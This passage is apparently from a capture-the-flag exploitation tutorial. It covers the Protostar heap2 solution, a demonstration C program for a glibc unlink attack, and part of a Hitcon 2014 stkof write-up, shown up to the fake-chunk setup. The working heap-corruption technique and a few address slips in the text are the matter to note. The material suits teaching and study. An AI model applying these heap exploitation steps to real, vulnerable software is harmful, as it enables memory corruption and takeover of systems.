So looking at the code, we need to find a way to set `auth+0x20` to not be equal to `0`. Before we do that, we will need to run the `auth` command to allocate the `auth` pointer, so it doesn't crash when we run the `login` command (an unexploitable crash). We can't write to `auth+0x20` with the `auth` command because of the size check. The `reset` command just frees the space, so we can't write data with that (although when we free memory, it can change some of the values stored in that region of memory). Our best bet would be to go with the `service` command since it let's us scan in data into the heap without a size check. We can confirm that it is in the heap by checking the printed pointer for `service` against the memory mappings in gdb:

```
gef➤  r
Starting program: /Hackery/pod/modules/heap_overflow/protostar_heap2/heap2
[ auth = (nil), service = (nil) ]
auth 15935728
[ auth = 0x555555757a80, service = (nil) ]
service 75395128
[ auth = 0x555555757a80, service = 0x555555757aa0 ]
^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x00007ffff7dcfa00  →  0x00000000fbad2288
$rcx   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$rdx   : 0x400
$rsp   : 0x00007fffffffdd38  →  0x00007ffff7a71148  →  <_IO_file_underflow+296>
test rax, rax
$rbp   : 0xd68
$rsi   : 0x0000555555757670  →  "service 75395128"
$rdi   : 0x0
$rip   : 0x00007ffff7af4081  →  0x5777fffff0003d48 ("H="?)
$r8    : 0x00007ffff7dd18c0  →  0x0000000000000000
$r9    : 0x00007ffff7fda4c0  →  0x00007ffff7fda4c0  →  [loop detected]
$r10   : 0x00007ffff7fda4c0  →  0x00007ffff7fda4c0  →  [loop detected]
$r11   : 0x246
$r12   : 0x00007ffff7dcb760  →  0x0000000000000000
$r13   : 0x00007ffff7dcc2a0  →  0x0000000000000000
$r14   : 0x00007ffff7dcc2a0  →  0x0000000000000000
$r15   : 0x7f
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume
virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd38│+0x0000: 0x00007ffff7a71148  →  <_IO_file_underflow+296> test
rax, rax     ← $rsp
0x00007fffffffdd40│+0x0008: 0x00007ffff7dcfa00  →  0x00000000fbad2288
0x00007fffffffdd48│+0x0010: 0x00007ffff7dcc2a0  →  0x0000000000000000
0x00007fffffffdd50│+0x0018: 0x000000000000000a
0x00007fffffffdd58│+0x0020: 0x0000555555757681  →  0x0000000000000000
0x00007fffffffdd60│+0x0028: 0x00007ffff7dcfa00  →  0x00000000fbad2288
0x00007fffffffdd68│+0x0030: 0x00007ffff7a723f2  →  <_IO_default_uflow+50> cmp
eax, 0xffffffff
0x00007fffffffdd70│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff7af4075 <read+5>         add    BYTE PTR cs:[rbx+0x75c08500], cl
   0x7ffff7af407c <read+12>        adc    esi, DWORD PTR [rcx]
   0x7ffff7af407e <read+14>        ror    BYTE PTR [rdi], 0x5
 → 0x7ffff7af4081 <read+17>        cmp    rax, 0xfffffffffffff000
   0x7ffff7af4087 <read+23>        ja     0x7ffff7af40e0 <__GI___libc_read+112>
   0x7ffff7af4089 <read+25>        repz   ret
   0x7ffff7af408b <read+27>        nop    DWORD PTR [rax+rax*1+0x0]
   0x7ffff7af4090 <read+32>        push   r12
```

```
   0x7ffff7af4092 <read+34>        push   rbp
──────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "heap2", stopped, reason: SIGINT
────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff7af4081 → __GI___libc_read(fd=0x0, buf=0x555555757670, nbytes=0x400)
[#1] 0x7ffff7a71148 → _IO_new_file_underflow(fp=0x7ffff7dcfa00 <_IO_2_1_stdin_>)
[#2] 0x7ffff7a723f2 → __GI__IO_default_uflow(fp=0x7ffff7dcfa00 <_IO_2_1_stdin_>)
[#3] 0x7ffff7a63e62 → __GI__IO_getline_info(eof=0x0, extract_delim=<optimized
out>, delim=0xa, n=0x7f, buf=0x7fffffffde10 "service 75395128\n",
fp=0x7ffff7dcfa00 <_IO_2_1_stdin_>)
[#4] 0x7ffff7a63e62 → __GI__IO_getline(fp=0x7ffff7dcfa00 <_IO_2_1_stdin_>,
buf=0x7fffffffde10 "service 75395128\n", n=<optimized out>, delim=0xa,
extract_delim=0x1)
[#5] 0x7ffff7a62bcd → _IO_fgets(buf=0x7fffffffde10 "service 75395128\n",
n=<optimized out>, fp=0x7ffff7dcfa00 <_IO_2_1_stdin_>)
[#6] 0x5555555549de → main()
─────────────────────────────────────────────────────────────────────────────────
0x00007ffff7af4081 in __GI___libc_read (fd=0x0, buf=0x555555757670,
nbytes=0x400) at ../sysdeps/unix/sysv/linux/read.c:27
27    ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /Hackery
/pod/modules/heap_overflow/protostar_heap2/heap2
0x0000555555755000 0x0000555555756000 0x0000000000001000 r-- /Hackery
/pod/modules/heap_overflow/protostar_heap2/heap2
0x0000555555756000 0x0000555555757000 0x0000000000002000 rw- /Hackery
/pod/modules/heap_overflow/protostar_heap2/heap2
0x0000555555757000 0x0000555555778000 0x0000000000000000 rw- [heap]
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-
gnu/libc-2.27.so
0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw-
0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7fd9000 0x00007ffff7fdb000 0x0000000000000000 rw-
0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-
gnu/ld-2.27.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤
```

Here we can see that the `service` pointer (returned by `strdup`) is between `0x0000555555757000` and `0x0000555555778000`, so it is in the heap. So our plan will be to overwrite `auth+0x20` using the service command. Looking at the difference between the two, we see it is `0x555555757aa0 - 0x555555757a80 = 0x20`, so the `service` command after we run `auth` will start writing data directly where we need to be, so in this case we only need to write one byte. With that, we have everything we need:

```
$    ./heap2
[ auth = (nil), service = (nil) ]
auth 15935728
[ auth = 0x55b20955da80, service = (nil) ]
login
please enter your password
[ auth = 0x55b20955da80, service = (nil) ]
service 0
[ auth = 0x55b20955da80, service = 0x55b20955daa0 ]
login
you have logged in already!
[ auth = 0x55b20955da80, service = 0x55b20955daa0 ]
```

With that, we solved the challenge (also just in case you're confused, the `0` we overwrite `auth+0x20` is an ascii zero so it would write `0x30` not `0x0`).

Unlink explannation

So this is just a c file that explains what an unlink attack is. If you are running it and it is not working, then it probably means you are running it with a libc version that has tcache enabled. If you are then you can either swap out which libc version you are running the binary with (depending on what version of linux you are on you might also have to use a different loader) or just run it on an older version of Ubuntu (like 16.04).

The source code:

```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

uint64_t *target;

int main(void)
{

    puts("So let's explain what a heap Unlink attack is.");
    puts("This will give us a write, however there are several restrictions on
what we write and where.");
    puts("Also this attack is only really feasible on pre-tcache libc versions
(before 2.26).\n");

    puts("For this attack to work, we need to know the address of a pointer to a
heap pointer");
    puts("Think of something like a global variable (like in the bss) array
which stores heap pointers.");
    puts("This attack will write a pointer to a little bit before the array (or
the entry of the array that points to the heap chunk) to itself.");
    puts("This can be pretty useful for a variety of reasons, especially if we
write the pointer to an array of pointers that we can edit. Then we can leverage
the pointer from the unlink to overwrite pointers in the array.\n");

    printf("So we start off the attack by allocating two chunks, and storing the
first chunk in the global variable pointer target\n");
    printf("The goal of this will be to overwrite the pointer to target with an
address right before it.\n\n");
    uint64_t *ptr0, *ptr1, *temp;

    ptr0 = (uint64_t *)malloc(0xa0);
    ptr1 = (uint64_t *)malloc(0xa0);

    target = ptr0;

    printf("The two chunk addresses are %p and %p\n", ptr0, ptr1);
    printf("Target pointer stores the first chunk %p at %p\n\n", target,
&target);

    printf("So what an unlink does, is it takes a chunk out of a doubly linked
list (which certain freed chunks in the heap are stored in).\n");
    printf("It handles the process of overwriting pointers from the next and
previous chunks to the other, to fill in the gap from taking out the chunk in
the middle.\n");
    printf("That is where we get our pointer write from. However in order to set
this up, we will need to make a fake chunk that will pass three checks.\n");
    printf("So let's start setting up the fake chunk. \n\n");

    printf("The first check we need to worry about, is it checks if the Fd and
Bk pointers of our fake heap chunk (they point to the next and previous chunks)
point to chunks that have pointers back to our fake chunk.\n");
```

```
    printf("This is why we need the heap chunk our fake chunk is stored in to be
stored in a pointer somewhere that we know the address of.\n");
    printf("So the previous chunks forward pointer (these chunks are stored in a
doubly linked list), and the next chunks back pointer both have to point to this
chunk.\n\n");

    printf("The forward pointer of this type of heap chunk is at offset 0x10,
and the back pointer is at offset 0x18.\n");
    printf("As a result for the previous pointer we can just subtract 0x10 from
the address of the target, and for the forward pointer we will just subtract
0x18 from the address of target.\n");

    target[2] = (uint64_t)(&target - 0x3);    // Fake Chunk P->fd pointer
    target[3] = (uint64_t)(&target - 0x2);    // Fake Chunk  P->bk pointer

    printf("Fd pointer: %p\n", (void *)ptr0[2]);
    printf("Bk  pointer: %p\n\n", (void *)ptr0[3]);

    temp = (uint64_t *)ptr0[2];
    printf("Fake chunk starts at \t%p\n", (void *)ptr0);
    printf("Fd->bk:    \t\t%p\n", (void *)temp[3]);
    temp = (uint64_t *)ptr0[3];
    printf("Bk->Fd:    \t\t%p\n\n", (void *)temp[2]);

    printf("With that, we will pass that check. Next we have to worry about the
size check.\n");
    printf("How we will trigger a heap unlink is we will edit the heap metadata
of the second chunk, so that it will say that the previous chunk has been freed
and it points to our fake chunk.\n");
    printf("Then when we free the second chunk, it will cause our fake chunk to
be unlinked and execute the pointer write.\n");
    printf("However it will check that the size of our chunk is equal to the
previous size of the chunk being freed, so we have to make sure that they are
equal.\n");
    printf("The previous size of the second chunk should be shrunk down so it
thinks the heap metadata starts with our fake chunk. This typically means
shrinking it by 0x10.\n");
    printf("In addition to that, we have to clear the previous in use bit from
the size value of the second chunk, so it thinks that the previous chunk has
been freed(this can be done with something like a heap overflow).\n");

    target[0] = 0x0;    // Fake Chunk  Previous Size
    target[1] = 0xa0;    // Fake Chunk  Size



    ptr1[-2] = 0xa0;    // Second Chunk previous size
    ptr1[-1] = 0xb0;    // Secon Chunk size (can be done with a bug like a heap
overflow)

    printf("The final check we have to worry about is for fd_nextsize.
Essentially it just checks to see if it is equal to 0x0, and if it is it skips a
bunch of checks.\n");
    printf("We will set it equal to 0x0 to avoid those unneeded checks.\n\n");
```

```
    target[4] = 0x0;    // fd_nextsize

    printf("With that, we have our fake chunk setup. Checkout the other writeups
in this module for more details on the particular data structure of this heap
chunk.\n\n");

    printf("Fake Chunk Previous Size:\t0x%x\n", (int)ptr0[0]);
    printf("Fake Chunk Size:\t\t0x%x\n", (int)ptr0[1]);
    printf("Fake Chunk Fd pointer:\t\t0x%x\n", (int)ptr0[2]);
    printf("Fake Chunk Bk pointer:\t\t0x%x\n", (int)ptr0[3]);
    printf("Fake Chunk fd_nextsize:\t\t0x%x\n\n", (int)ptr0[4]);

    printf("With that, we can free the second chunk and trigger the unlink.\n");

    free(ptr1);

    printf("With that target should be the address of the Fd pointer: %p\n",
target);
}
```

When you run it:

```
$       ./unlink
So let's explain what a heap Unlink attack is.
This will give us a write, however there are several restrictions on what we
write and where.
Also this attack is only really feasible on pre-tcache libc versions (before
2.26).

For this attack to work, we need to know the address of a pointer to a heap
pointer
Think of something like a global variable (like in the bss) array which stores
heap pointers.
This attack will write a pointer to a little bit before the array (or the entry
of the array that points to the heap chunk) to itself.
This can be pretty useful for a variety of reasons, especially if we write the
pointer to an array of pointers that we can edit. Then we can leverage the
pointer from the unlink to overwrite pointers in the array.

So we start off the attack by allocating two chunks, and storing the first chunk
in the global variable pointer target
The goal of this will be to overwrite the pointer to target with an address
right before it.

The two chunk addresses are 0xf39420 and 0xf394d0
Target pointer stores the first chunk 0xf39420 at 0x602058

So what an unlink does, is it takes a chunk out of a doubly linked list (which
certain freed chunks in the heap are stored in).
It handles the process of overwriting pointers from the next and previous chunks
to the other, to fill in the gap from taking out the chunk in the middle.
That is where we get our pointer write from. However in order to set this up, we
will need to make a fake chunk that will pass three checks.
So let's start setting up the fake chunk.

The first check we need to worry about, is it checks if the Fd and Bk pointers
of our fake heap chunk (they point to the next and previous chunks) point to
chunks that have pointers back to our fake chunk.
This is why we need the heap chunk our fake chunk is stored in to be stored in a
pointer somewhere that we know the address of.
So the previous chunks forward pointer (these chunks are stored in a doubly
linked list), and the next chunks back pointer both have to point to this chunk.

The forward pointer of this type of heap chunk is at offset 0x10, and the back
pointer is at offset 0x18.
As a result for the previous pointer we can just subtract 0x10 from the address
of the target, and for the forward pointer we will just subtract 0x18 from the
address of target.
Fd pointer: 0x602040
Bk  pointer: 0x602048

Fake chunk starts at    0xf39420
Fd->bk:                 0xf39420
Bk->Fd:                 0xf39420
```

```
With that, we will pass that check. Next we have to worry about the size check.
How we will trigger a heap unlink is we will edit the heap metadata of the
second chunk, so that it will say that the previous chunk has been freed and it
points to our fake chunk.
Then when we free the second chunk, it will cause our fake chunk to be unlinked
and execute the pointer write.
However it will check that the size of our chunk is equal to the previous size
of the chunk being freed, so we have to make sure that they are equal.
The previous size of the second chunk should be shrunk down so it thinks the
heap metadata starts with our fake chunk. This typically means shrinking it by
0x10.
In addition to that, we have to clear the previous in use bit from the size
value of the second chunk, so it thinks that the previous chunk has been
freed(this can be done with something like a heap overflow).
The final check we have to worry about is for fd_nextsize. Essentially it just
checks to see if it is equal to 0x0, and if it is it skips a bunch of checks.
We will set it equal to 0x0 to avoid those unneeded checks.

With that, we have our fake chunk setup. Checkout the other writeups in this
module for more details on the particular data structure of this heap chunk.

Fake Chunk Previous Size:       0x0
Fake Chunk Size:                0xa0
Fake Chunk Fd pointer:          0x602040
Fake Chunk Bk pointer:          0x602048
Fake Chunk fd_nextsize:         0x0

With that, we can free the second chunk and trigger the unlink.
With that target should be the address of the Fd pointer: 0x602040
```

Hitcon 2014 stkof

Let's take a look at the binary, and the libc:

```
$    file stkof
stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/l, for GNU/Linux 2.6.32,
BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripped
$    pwn checksec stkof
[*] '/home/guyinatuxedo/Desktop/hitcon14/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./stkof
1
58
1
OK
2
9
FAIL
$ ./libc-2.23.so
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11) stable release version 2.23, by
Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
  crypt add-on version 2.1 by Michael Glad and others
  GNU Libidn by Simon Josefsson
  Native POSIX Threads Library by Ulrich Drepper et al
  BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
```

So we can see that we are dealing with a `64` bit binary, with a Stack Canary and Non-Executable stack. When we run the binary it scans in input and responds with either `OK` or `FAIL`. In addition to that we are dealing with the libc version `libc-2.23.so` (full disclosure I'm not sure if this is the original libc for the challenge, but it works with the unlink attack).

Reversing

When we take a look at the binary in Ghidra, we find a function at `0x00400c58` that appears to be the menu function:

```c
undefined8 main(void)

{
  int menuChoice;
  char *bytesRead;
  long in_FS_OFFSET;
  int result;
  char input [104];
  long stackCanary;

  stackCanary = *(long *)(in_FS_OFFSET + 0x28);
  alarm(0x78);
  do {
    bytesRead = fgets(input,10,stdin);
    if (bytesRead == (char *)0x0) {
      if (stackCanary == *(long *)(in_FS_OFFSET + 0x28)) {
        return 0;
      }
                    /* WARNING: Subroutine does not return */
      __stack_chk_fail();
    }
    menuChoice = atoi(input);
    if (menuChoice == 2) {
      result = scanData();
    }
    else {
      if (menuChoice < 3) {
        if (menuChoice == 1) {
          result = allocateChunk();
        }
        else {
LAB_00400ce3:
          result = -1;
        }
      }
      else {
        if (menuChoice == 3) {
          result = freeFunction();
        }
        else {
          if (menuChoice != 4) goto LAB_00400ce3;
          result = printData();
        }
      }
    }
    if (result == 0) {
      puts("OK");
    }
    else {
      puts("FAIL");
    }
```

```
    fflush(stdout);
  } while( true );
}
```

So we can see, we have four different menu options. `1` for allocating chunks, `2` for scanning data, `3` for free a chunk, and `4` for printing data. Also there is a system where the functions will report back if they were successful, and that is what triggers either the `OK` or `FAIL`. Let's take a look at `allocateChunk`:

```
undefined8 allocateChunk(void)

{
  long lVar1;
  size_t __size;
  void *ptr;
  undefined8 uVar2;
  long in_FS_OFFSET;
  char sizeInp [104];

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(sizeInp,0x10,stdin);
  __size = atoll(sizeInp);
  ptr = malloc(__size);
  if (ptr == (void *)0x0) {
    uVar2 = 0xffffffff;
  }
  else {
    ptrCount = ptrCount + 1;
    *(void **)(&ptrArray + (long)(int)ptrCount * 8) = ptr;
    printf("%d\n",(ulong)ptrCount);
    uVar2 = 0;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}
```

So we can see here, it prompts us for a size then mallocs that many bytes. There is no check on the size we pass it (only a check to ensure that malloc didn't return a null pointer). After that it will increment the bss integer `ptrCount` at `0x602100`, and store the pointer in `ptrArray` at `0x602140` (also it is one indexed so the pointers start at `0x602148`). Next up we have the `scanData` function:

```
undefined8 scanData(void)

{
  long lVar1;
  int bytesReadCpy;
  ulong index;
  undefined8 result;
  size_t bytesRead;
  long in_FS_OFFSET;
  size_t size;
  void *ptr;
  char input [104];
  long canary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(input,0x10,stdin);
  index = atol(input);
  if ((uint)index < 0x100001) {
    if (*(long *)(&ptrArray + (index & 0xffffffff) * 8) == 0) {
      result = 0xffffffff;
    }
    else {
      fgets(input,0x10,stdin);
      size = atoll(input);
      ptr = *(void **)(&ptrArray + (index & 0xffffffff) * 8);
      while( true ) {
        bytesRead = fread(ptr,1,size,stdin);
        bytesReadCpy = (int)bytesRead;
        if (bytesReadCpy < 1) break;
        ptr = (void *)((long)ptr + (long)bytesReadCpy);
        size = size - (long)bytesReadCpy;
      }
      if (size == 0) {
        result = 0;
      }
      else {
        result = 0xffffffff;
      }
    }
  }
  else {
    result = 0xffffffff;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return result;
}
```

Here we can see that it prompts us an index to `ptrArray` for where to scan in data. Then it prompts us for the amount of bytes to scan in. Notice that it doesn't check the size we pass it, so we have a heap overflow bug here. Next up we have `freeFunction` :

```
undefined8 freeFunction(void)

{
  long lVar1;
  ulong index;
  undefined8 result;
  long in_FS_OFFSET;
  char indexInput [104];
  long stackCanary;

  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(indexInput,0x10,stdin);
  index = atol(indexInput);
  if ((uint)index < 0x100001) {
    if (*(long *)(&ptrArray + (index & 0xffffffff) * 8) == 0) {
      result = 0xffffffff;
    }
    else {
      free(*(void **)(&ptrArray + (index & 0xffffffff) * 8));
      *(undefined8 *)(&ptrArray + (index & 0xffffffff) * 8) = 0;
      result = 0;
    }
  }
  else {
    result = 0xffffffff;
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return result;
}
```

Here we can see, it prompts us for an index to free. If it passes the check, it will free the pointer, and clear it out (so no use after free). Next up we have `printData` :

```
undefined8 printData(void)

{
  ulong uVar1;
  undefined8 uVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  fgets(local_78,0x10,stdin);
  uVar1 = atol(local_78);
  if ((uint)uVar1 < 0x100001) {
    if (*(long *)(&ptrArray + (uVar1 & 0xffffffff) * 8) == 0) {
      uVar2 = 0xffffffff;
    }
    else {
      sVar3 = strlen(*(char **)(&ptrArray + (uVar1 & 0xffffffff) * 8));
      if (sVar3 < 4) {
        puts("//TODO");
      }
      else {
        puts("...");
      }
      uVar2 = 0;
    }
  }
  else {
    uVar2 = 0xffffffff;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}
```

This function really doesn't do much. We specify an index to a chunk, and it checks if it is a non-null pointer. If so it checks the length with `strlen`. If it is less than `4`, it will print `//TODO` and if not it prints `...`. This really doesn't tell us much, however notice how this is the only place that `strlen` is called. That will come in later.

Exploitation

Our exploitation process will contain two parts. The first will be doing an Unlink Attack, and the second will be a GOT overwrite / infoleak.

Unlink

So for our exploitation process, we will be doing an unlink attack (which is viable on older libc versions, think pre-tcache). Unlinking for the heap is the process of removing a chunk from a bin list (in this case for heap consolidation for performance improvement reasons). What this attack will do is give us a write. However there are a lot of restrictions on what we can write and where we can write. Essentially when an unlink happens, it will write pointers to a chunk to fill in the gap of the chunk that was taken out. This is the write that we get. Let's take a look at the code in `malloc.c` to get a bit of an idea:

```
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;
  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
  fd->bk = bk;
  bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
```

So we can see here, what it does is it takes a chunk, and performs some checks on it. If the chunk passess all of the checks, it will write the pointers with `fd->bk = bk`, `bk->fd = fd`. There are essentially three checks that we need to worry about which we will set up a fake chunk for it. In order for this to work, we need a pointer to the malloc chunk which we will be making our fake chunk in stored somewhere we know. All of our heap chunks are stored in the bss starting at `0x602148` (remember no PIE) so we have that requirement met. Next up we will need to setup the fake chunk, which will contain `fwd` and `bk` pointers which on paper should point to the previous and next chunks in the list (since in the unlink the middle chunk gets removed, pointers to the `fwd` and `bk` chunks are written to each other to fill the gap in the list).

So here is a bit of a representation of what's happening. Starting off here are our three chunks that will be a part of the unlink. They are linked via a doubly linked list with `fd` (forward) and `bk` (back) pointers. The only chunk we are actually going to write any data for will be the middle chunk. For this we will allocate two chunks (actual chunks allocated with malloc). These two chunks will need to be stored adjacent in memory (so we can use one to overflow the other). In the first one we will store the fake chunk, and also use it to overflow into the metadata of the second chunk. Then by freeing the second chunk it will trigger the unlink. The second chunk will not store any part of these three chunks.:

```
+-----------------+     +-----------------+     +-----------------+
| BK              |     | P (fake chunk) |     | FD              |
+-----------------+     +-----------------+     +-----------------+
| BK->fd           |     | P->fd           |     | FD->fd          |
+-----------------+     +-----------------+     +-----------------+
| BK->bk          |     | P->bk           |   | FD->bk          |
+-----------------+     +-----------------+     +-----------------+
```

So in order to pass the unlink check for `if (__builtin_expect (fd->bk != p || bk->fd != p, 0))` , the back pointer of the next chunk and the forward pointer of the previous chunk must be equal to the chunk address of our fake chunk. This is why we need a pointer to our heap chunk to be stored in an area of memory that we know and can read from. Since we have that in the PIE, this is fairly easy to set up. We just need to take the address that the pointer to our fake chunk is stored at, and subtract `0x18` from it to setup the `P->FD` pointer. The first `0x10` bytes of the `0x18` is because there are two QWORDS taken up for the heap metadata (like with a lot of heap chunks). The last `0x8` bytes is because with the `FD` chunk, we are worried about the `FD->bk` pointer not the `FD->fd` and the `FD->fd` takes up the first eight bytes of the chunk (so we need to shift it back by eight bytes to get the pointer in the right spot). Coincidentally we need to subtract `0x10` bytes from the pointer to our fake heap chunk for our `P->bk` , since with that chunk we are worried about the `fwd` pointer which is before the back pointer. The values for `FD-fd` and `BK->bk` don't matter too much in this case:

```
+-----------------+     +-----------------+     +-----------------+
| BK              |     | P (fake chunk) |     | FD              |
+-----------------+     +-----------------+     +-----------------+
| BK-fd -> P      |     | P-fd  -> FD     |     | FD-fd  -> null |
+-----------------+     +-----------------+     +-----------------+
| BK->bk -> null |     | P->bk -> BK     |   | FD->bk -> P     |
+-----------------+     +-----------------+     +-----------------+
```

There are two more checks we need to worry about. The first is the size check of our fake chunk, which we will cover in a bit when we talk about how exactly we are going to overflow the heap metadata. The third check consists of the `p->fd_nextsize != NULL` . If we can set `p->fd_nextsize` equal to null, that means we will be able to skip most other checks which will save us a lot of time and hassle. Looking at the source code in `malloc.c` (https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#_int_free) we can see it is stored right after the `bk` pointer:

```
struct malloc_chunk {
  INTERNAL_SIZE_T      mchunk_prev_size;  /* Size of previous chunk (if free).
*/
  INTERNAL_SIZE_T      mchunk_size;       /* Size in bytes, including overhead.
*/
  struct malloc_chunk* fd;         /* double links -- used only if free. */
  struct malloc_chunk* bk;
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};
```

So in order to hit that check that way we want, we just need to set the next QWORD after `bk` to be `0x0`.

After that, we will free the second chunk (second chunk that we allocated) which will trigger the unlink, and write a pointer to `BK-fd` and `FD->bk`. In this case it will be a pointer to the fake `FD` chunk, since they will both be writing it to the same location in memory, however that pointer gets written last.

```
+-----------------+    +-----------------+
| BK              |    | FD              |
+-----------------+    +-----------------+
| BK-fd -> FD     |    | FD-fd  -> null  |
+-----------------+    +-----------------+
| BK->bk -> null  |    | FD->bk -> BK    |
+-----------------+    +-----------------+
```

Let's talk about how we will be overflowing the heap metadata and constructing the fake chunk. When I was just trying different things with the code, I noticed that when I was allocating `0xa0` byte chunks, the `4th` and `5th` chunks would be adjacent, so they would be good for the overflow:

```
gef➤  x/30g 0x14fc630
0x14fc630:  0x0 0xb1
0x14fc640:  0x0 0x0
0x14fc650:  0x0 0x0
0x14fc660:  0x0 0x0
0x14fc670:  0x0 0x0
0x14fc680:  0x0 0x0
0x14fc690:  0x0 0x0
0x14fc6a0:  0x0 0x0
0x14fc6b0:  0x0 0x0
0x14fc6c0:  0x0 0x0
0x14fc6d0:  0x0 0x0
0x14fc6e0:  0x0 0xb1
0x14fc6f0:  0x0 0x0
0x14fc700:  0x0 0x0
0x14fc710:  0x0 0x0
```

Here we can see two chunks of size `0xb1` (`0xa0` chunks with `0x10` bytes worth of metadata and `0x1` previous chunk in use bit set). We will store our fake chunk at `0x14fc640` and will contain the following values:

```
0x14fc640:  Previous Size   0x0
0x14fc648:  Size            0xa0
0x14fc650:  fd pointer      (0x602160 - (8*3))
0x14fc658:  bk pointer      (0x602160 - (8*2))
0x14fc660:  fd next size    0x0
```

In addition to that we will overflow the heap metadata of the next chunk (`0x14fc6f0`) with the following values:

```
0x14fc6d0:  Previous Size   0xa0
0x14fc6d8:  Size            0xb0
```

So the reason why we set the Size to `0xb0` is to clear out the previous in use bit, so malloc will think that the previous chunk has been freed (requirement for unlink). We placed a fake previous size value of `0xa0` because `0x14fc6e0 - 0xa0 = 0x14fc640` which is the start of our fake chunk. That way the previous size will point right to the start of our fake chunk (another requirement for the unlink). The reason why the `Size` for our fake chunk is set to `0xa0` is because of the `(chunksize (p) != prev_size (next_chunk (p)))` from malloc.c where it checks if the previous size of the chunk that is getting freed is the same as the chunk size of the chunk getting unlinked. I covered earlier why the values for `fd` , `bk` and `fd next size` were the values they are. After we create the fake chunk and execute the overflow, this is what the memory looks like:

```
gef➤  x/30g 0x14fc630
0x14fc630:  0x0 0xb1
0x14fc640:  0x0 0xa0
0x14fc650:  0x602148  0x602150
0x14fc660:  0x0 0x0
0x14fc670:  0x0 0x0
0x14fc680:  0x0 0x0
0x14fc690:  0x0 0x0
0x14fc6a0:  0x0 0x0
0x14fc6b0:  0x0 0x0
0x14fc6c0:  0x0 0x0
0x14fc6d0:  0x0 0x0
0x14fc6e0:  0xa0  0xb0
0x14fc6f0:  0x0 0x0
0x14fc700:  0x0 0x0
0x14fc710:  0x0 0x0
gef➤  x/4g 0x602150
0x602150: 0x14fc4e0 0x14fc590
0x602160: 0x14fc640 0x14fc6f0
gef➤  x/4g 0x602148
0x602148: 0x14fc020 0x14fc4e0
0x602158: 0x14fc590 0x14fc640
gef➤  x/10g 0x602140
0x602140: 0x0 0x14fc020
0x602150: 0x14fc4e0 0x14fc590
